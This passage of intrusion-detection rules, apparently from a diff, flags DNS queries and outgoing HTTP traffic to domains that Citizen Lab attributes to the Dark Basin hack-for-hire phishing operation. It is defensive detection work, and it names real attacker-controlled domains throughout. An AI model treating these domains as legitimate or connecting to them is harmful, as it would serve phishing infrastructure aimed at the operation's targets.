fast_pattern; nocase; classtype:trojan-activity; sid:1356441; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostingservicesukit.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|hostingservicesukit|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356442; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostingservicesukit.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostingservicesukit.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostingservicesukit\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356443; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostmailsecure.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|hostmailsecure|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354681; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostmailsecure.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|hostmailsecure|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354682; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostmailsecure.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostmailsecure.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostmailsecure\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354683; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostmailsecureserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|hostmailsecureserver|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354641; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostmailsecureserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|hostmailsecureserver|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354642; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostmailsecureserver.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostmailsecureserver.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostmailsecureserver\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354643; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostsecuremail.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|hostsecuremail|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354841; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostsecuremail.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|hostsecuremail|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354842; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostsecuremail.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostsecuremail.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostsecuremail\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354843; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostsecuremail544.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|hostsecuremail544|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354411; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostsecuremail544.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|hostsecuremail544|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354412; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostsecuremail544.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostsecuremail544.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostsecuremail544\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354413; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostserverrus.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|hostserverrus|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356701; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostserverrus.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|hostserverrus|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356702; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostserverrus.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostserverrus.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostserverrus\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356703; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: hostusewithtech.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|hostusewithtech|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356561; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: hostusewithtech.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|hostusewithtech|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356562; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: hostusewithtech.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"hostusewithtech.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])hostusewithtech\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356563; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: imapserverholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|imapserverholland|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354211; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: imapserverholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|imapserverholland|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354212; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: imapserverholland.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"imapserverholland.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])imapserverholland\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354213; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: imgsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|imgsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357401; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: imgsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|imgsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357402; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: imgsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"imgsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])imgsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357403; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: inrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|inrsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357371; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: inrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|inrsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357372; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: inrsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"inrsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])inrsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357373; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: internetmarketingservicehg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|1a|internetmarketingservicehg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355391; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: internetmarketingservicehg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|1a|internetmarketingservicehg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355392; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: internetmarketingservicehg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"internetmarketingservicehg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])internetmarketingservicehg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355393; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: interserver439.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|interserver439|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357181; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: interserver439.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|interserver439|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357182; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: interserver439.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"interserver439.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])interserver439\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357183; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: intrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|intrsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357431; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: intrsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|intrsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357432; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: intrsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"intrsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])intrsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357433; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: isrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|isrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357351; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: isrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|isrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357352; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: isrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"isrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])isrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357353; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: javaservermy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|javaservermy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355171; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: javaservermy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|javaservermy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355172; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: javaservermy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"javaservermy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])javaservermy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355173; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: knowledgebaseonlineuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|knowledgebaseonlineuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356931; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: knowledgebaseonlineuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|knowledgebaseonlineuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356932; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: knowledgebaseonlineuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"knowledgebaseonlineuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])knowledgebaseonlineuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356933; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linkfollowservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|linkfollowservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355071; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linkfollowservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|linkfollowservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355072; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linkfollowservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linkfollowservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linkfollowservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355073; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linkforwrder.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linkforwrder|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354991; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linkforwrder.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linkforwrder|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354992; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linkforwrder.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linkforwrder.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linkforwrder\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354993; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linkshortnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|linkshortnr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354541; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linkshortnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|linkshortnr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354542; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linkshortnr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linkshortnr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linkshortnr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354543; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linkshrtnr22.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linkshrtnr22|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353311; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linkshrtnr22.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linkshrtnr22|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353312; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linkshrtnr22.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linkshrtnr22.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linkshrtnr22\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353313; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linksrtnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|linksrtnr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354191; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linksrtnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|linksrtnr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354192; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linksrtnr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linksrtnr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linksrtnr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354193; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxbasichk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linuxbasichk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356341; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxbasichk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linuxbasichk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356342; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxbasichk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxbasichk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxbasichk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356343; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxbasichk1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|linuxbasichk1|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356351; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxbasichk1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|linuxbasichk1|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356352; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxbasichk1.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxbasichk1.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxbasichk1\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356353; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linuxbasicmy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356361; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linuxbasicmy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356362; rev:1; priority:1; 